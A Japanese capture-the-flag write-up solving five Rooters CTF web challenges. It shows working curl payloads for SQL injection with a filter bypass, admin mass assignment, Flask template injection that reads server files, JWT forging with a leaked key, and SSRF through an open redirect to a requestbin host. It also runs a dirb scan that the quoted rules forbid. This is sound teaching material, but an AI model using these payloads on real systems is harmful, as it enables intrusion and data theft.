Rooters CTF Writeup - Web(全問)
全体的に難易度は低めで、少々思うところもある問題でしたがリハビリということで。
baby web
Question
My junior dev just set up a password protected webpage. Can you get in? https://babyweb.rootersctf.in/

Solution
問題文のとおり、UNION SLEEP ' " OR - BENCHMARKの入力が塞がれている。 SQL Injectionが自明。
テキストボックスのsearch項目に、適当に入力してみる。
root@kali:~# curl https://babyweb.rootersctf.in/index.php -G --data-urlencode "search=a" Unknown column 'a' in 'where clause' root@kali:~# curl https://babyweb.rootersctf.in/index.php -G --data-urlencode "search=1" SELECT * FROM users WHERE uniqueid=1 <!doctype html> <html lang="en"> <head> <style> (snip)
親切にもSQLを教えてくれる。"にも'にも括られていないようだ。
OR句を使えないため、副問合せを使用してWHERE句に合致するレコードを取得してみる。
root@kali:~# curl https://babyweb.rootersctf.in/index.php -G --data-urlencode "search=(select uniqueid from users limit 0,1)" -v (snip) HTTP/2 302 date: Fri, 11 Oct 2019 19:07:07 GMT content-type: text/html; charset=UTF-8 set-cookie: __cfduid=d7a0b4d65e578a5b1174535c266f610f31570820826; expires=Sat, 10-Oct-20 19:07:06 GMT; path=/; domain=.rootersctf.in; HttpOnly; Secure x-powered-by: PHP/7.3.10 location: https://babyweb.rootersctf.in/flag0flagpleasedontsharetheflagwithrandompeoples.php?id=837461526918364526 cf-cache-status: DYNAMIC expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" server: cloudflare cf-ray: 52431d76bff4af03-KIX
リダイレクトが発生。-Lオプションを使用してリダイレクト先を追いかけてみる。
root@kali:~# curl https://babyweb.rootersctf.in/index.php -G --data-urlencode "search=(select uniqueid from users limit 0,1)" -L
<h1>rooters{J00_kN0W_5QL_1nJ3c710n}ctf</h1>
フラグゲット。
notifyXapi
Question
web Reynholm Industries needed a system to issue notifications/messages for their employees. Maurice Moss, coding genius of The IT crowd, was assigned with the task to create one. The basic idea was that upper-level employees can create and view all the notifications. The lower-level employees shouldn't be able to read the confidential upper-level only notifications. Is Maurice really a coding genius ? Challenge link: https://notifyxapi.rootersctf.in/

Solution
まずはAPIの利用マニュアルのとおりに実行してみる。
root@kali:~# curl -X POST "https://notifyxapi.rootersctf.in/api/v1/register/" -H "Content-Type: application/json" \
> -d '{"email": "vvvv@example.com", "password": "password"}'
{"created_user":{"id":172,"user":{"is_admin":false,"email":"vvvv@example.com","id":172},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3NDgzMjgsIm5iZiI6MTU3MDc0ODMyOCwianRpIjoiMWZkN2RjMGItODZlYy00ZGNlLWJjZTMtYWZlYzVhMDIxY2UxIiwiZXhwIjoxNjAyMjg0MzI4LCJpZGVudGl0eSI6MTcyLCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.thJqkIdErj8NedPkHoN4X2LnUQ-hARC587jqKmFxlSo"}}
アカウントの属性情報としてis_adminがあるようだ。
root@kali:~# curl -X POST "https://notifyxapi.rootersctf.in/api/v1/login/" -H "Content-Type: application/json" \
> -d '{"email": "vvvv@example.com", "password": "password"}'
{"id":{"is_admin":false,"email":"vvvv@example.com","id":172},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3NDg0MDYsIm5iZiI6MTU3MDc0ODQwNiwianRpIjoiNTA2NGViNWItZWRhZS00ZTM3LTk2ZDgtOWIyMjRlMjIxNGI4IiwiZXhwIjoxNjAyMjg0NDA2LCJpZGVudGl0eSI6MTcyLCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.8JWiQbBqiVcMnBHvqsK42YYzS7yDAW8xIvrf9SJCf-I"}
root@kali:~# export ACCESS="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3NDg0MDYsIm5iZiI6MTU3MDc0ODQwNiwianRpIjoiNTA2NGViNWItZWRhZS00ZTM3LTk2ZDgtOWIyMjRlMjIxNGI4IiwiZXhwIjoxNjAyMjg0NDA2LCJpZGVudGl0eSI6MTcyLCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.8JWiQbBqiVcMnBHvqsK42YYzS7yDAW8xIvrf9SJCf-I"
root@kali:~# curl -H "Authorization: Bearer $ACCESS" -H "Content-Type: application/json" "https://notifyxapi.rootersctf.in/api/v1/notifications/"
[{"body":"hey, rosssssss","issuer":{"email":"test@test.com","id":2},"id":2,"title":"The IT Crowd"},
{"body":"Jen Barber? Is that the internet?","issuer":{"email":"test@test.com","id":2},"id":3,"title":"The IT Crowd"},
(snip)
]
is_adminをtrueにできれば、notificationsからフラグを取得できるのだろう。
アカウント登録時に突っ込んでみる。
root@kali:~# curl -X POST "https://notifyxapi.rootersctf.in/api/v1/register/" -H "Content-Type: application/json" \
> -d '{"email": "vvvv1@example.com", "password": "password", "is_admin":true}'
{"created_user":{"id":254,"user":{"email":"vvvv1@example.com","is_admin":true,"id":254},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3OTAyMzYsIm5iZiI6MTU3MDc5MDIzNiwianRpIjoiMmQ5MzhkZGMtMzE5MC00NjdkLTk3MDctYTViYzQ4NzkxNWM2IiwiZXhwIjoxNjAyMzI2MjM2LCJpZGVudGl0eSI6MjU0LCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.qgZ1SIHtbCPgk6xHIoKjw9uhtZiaHzm47p__Yk9fKSc"}}
ビンゴ。設定できたようだ。
root@kali:~# curl -X POST "https://notifyxapi.rootersctf.in/api/v1/login/" -H "Content-Type: application/json" \
> -d '{"email": "vvvv1@example.com", "password": "password"}'
{"id":{"email":"vvvv1@example.com","is_admin":true,"id":254},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3OTAyNzYsIm5iZiI6MTU3MDc5MDI3NiwianRpIjoiM2Y0ZjBkOGUtYmQyMi00ZWUwLThkYWUtYTU5ZmNmNmY5NWZkIiwiZXhwIjoxNjAyMzI2Mjc2LCJpZGVudGl0eSI6MjU0LCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.I5tsrUKZL6Uc0rM8AzwVORCZZzmJafB-N7lC8X9qtQQ"}
root@kali:~# export ACCESS="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3OTAyNzYsIm5iZiI6MTU3MDc5MDI3NiwianRpIjoiM2Y0ZjBkOGUtYmQyMi00ZWUwLThkYWUtYTU5ZmNmNmY5NWZkIiwiZXhwIjoxNjAyMzI2Mjc2LCJpZGVudGl0eSI6MjU0LCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.I5tsrUKZL6Uc0rM8AzwVORCZZzmJafB-N7lC8X9qtQQ"
root@kali:~# curl -H "Authorization: Bearer $ACCESS" -H "Content-Type: application/json" "https://notifyxapi.rootersctf.in/api/v1/notifications/"
[{"title":"flag","issuer":{"email":"admin@test.com","id":1},"body":"rooters{a_big_hard_business_in_a_big_hard_building}ctf","id":1},
(snip)
]
フラグゲット。
I <3 Flask
Question
meme Challenge Link: iloveflask

Solution
特に入力パラメータが見つからない。
しばらく悩むが、問題文のmemeのリンク先の画像を眺める。
View post on imgur.comimgur.com
名前がflask。
root@kali:~# curl https://iloveflask.rootersctf.in/ -G --data-urlencode "name={{7*7}}" -s | grep hearts
<title>I ♥ Flask</title>
<a class="navbar-brand mr-4" href="/">I ♥ Flask</a>
I ♥ Flask & 49
お。
Template Injection自明。
ディレクトリリスティングする。
root@kali:~# curl https://iloveflask.rootersctf.in/ -G --data-urlencode "name={{url_for.__globals__.__getitem__('os').listdir('./')}}" -s | grep hearts
<title>I ♥ Flask</title>
<a class="navbar-brand mr-4" href="/">I ♥ Flask</a>
I ♥ Flask & ['flag.txt', 'templates', 'application.py', 'static', 'requirements.txt']
flag.txtを発見。
root@kali:~# curl https://iloveflask.rootersctf.in/ -G --data-urlencode "name={{url_for.__globals__['__builtins__'].open('flag.txt').read()}}" -s | grep hearts
<title>I ♥ Flask</title>
<a class="navbar-brand mr-4" href="/">I ♥ Flask</a>
I ♥ Flask & rooters{I_still_love_flask_fd02a527ca93ff0a}ctf
フラグゲット。
imgXweb
Question
Image hosting. Soo boring, I know. Challenge Link: https://imgxweb.rootersctf.in/

Solution
アカウントを作成してログインすると、画像をアップロードできる。 アップロードファイルの拡張子やファイルタイプのチェックはしていない。
robots.txtを確認。
root@kali:~# curl https://imgxweb.rootersctf.in/robots.txt User-agent: * Disallow: /static/secretkey.txt root@kali:~# curl https://imgxweb.rootersctf.in/static/secretkey.txt you-will-never-guess
Cookieを見るとセッションはJWTの形式。
頂いたsecretkeyを使用してセッションを改ざんしてadminに成りすますだけ。
PAYLOADに{"user": "admin"}、VERIFY SIGNATUREのテキストボックスにyou-will-never-guessを入力し、生成したJWT形式の文字列をCookieのsession_idにセットしてページをリロードする。

フラグ文字列が書いてある画像がアップロードされている。

フラグゲット。
rooters{I_hope_you_got_rick_rolled_but_you_made_it_so_hoorayyy}ctf
searchXapi
Question
The searchXapi loads data from different APIs present on the web, and lets you search for specific terms. Challenge Link: https://searchxapi.rootersctf.in

Solution
URLとSearch Termを入力可能。
サイトの記載によると、入力可能なURLはhttps://searchxapi.rootersctf.in/booksのみ。
root@kali:~# curl https://searchxapi.rootersctf.in/books -s | jq
{
"status": "OK",
"copyright": "Copyright (c) 2019 The New York Times Company. All Rights Reserved.",
"num_results": 9,
"results": [
{
"title": "ETIQUETTE AND ESPIONAGE",
"description": "Sophronia is sent to an unusual finishing school.",
"contributor": "by Gail Carriger",
"author": "Gail Carriger",
"contributor_note": "",
"price": 0,
"age_group": "Ages 11 to 15",
"publisher": "Little, Brown & Company",
"isbns": [
{
"isbn10": "031619008X",
"isbn13": "9780316190084"
}
],
"ranks_history": [
{
"primary_isbn10": "031619008X",
URLの先のAPIにアクセスして、Search Termの条件に合致したデータを返却してくれるようなサービスなのだろうか。
ただ、Search Termに入力してもNo resultsが返却される。
URLに自サイトのURLを入力してもInvalid URL!が返却される。
しばらく悩むが手詰り。駄目元でBAN覚悟でdirbをかける。
root@kali:~# dirb https://searchxapi.rootersctf.in/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Oct 12 03:15:26 2019
URL_BASE: https://searchxapi.rootersctf.in/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: https://searchxapi.rootersctf.in/ ----
+ https://searchxapi.rootersctf.in/books (CODE:200|SIZE:10728)
+ https://searchxapi.rootersctf.in/redirect (CODE:302|SIZE:207)
-----------------
END_TIME: Sat Oct 12 03:27:12 2019
DOWNLOADED: 4612 - FOUND: 2
/redirectが見つかった。パラメータをguessする。
root@kali:~# curl https://searchxapi.rootersctf.in/redirect?uri=aaa <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to target URL: <a href="aaa">aaa</a>. If not click the link.
uriパラメータの存在を確認。オープンリダイレクトの脆弱性を使うようだ。
requestbinでリクエストを待ち受けてみる。
root@kali:~# curl https://searchxapi.rootersctf.in/ --data-urlencode "url=https://searchxapi.rootersctf.in/redirect?uri=http://requestbin.net/r/wutneswu" -d "search_term=a"

フラグゲット。
rooters{Listen_to_this_bit.do/fccPs}ctf
最後に、問題サイトのRulesのページから抜粋したものを転記しておく。
3 - Needless to say: no bruteforcing (you'll never guess, anyway); 6 - Automated vulnerability scanners on web challenges will get you banned for 5 mins;
ふむ。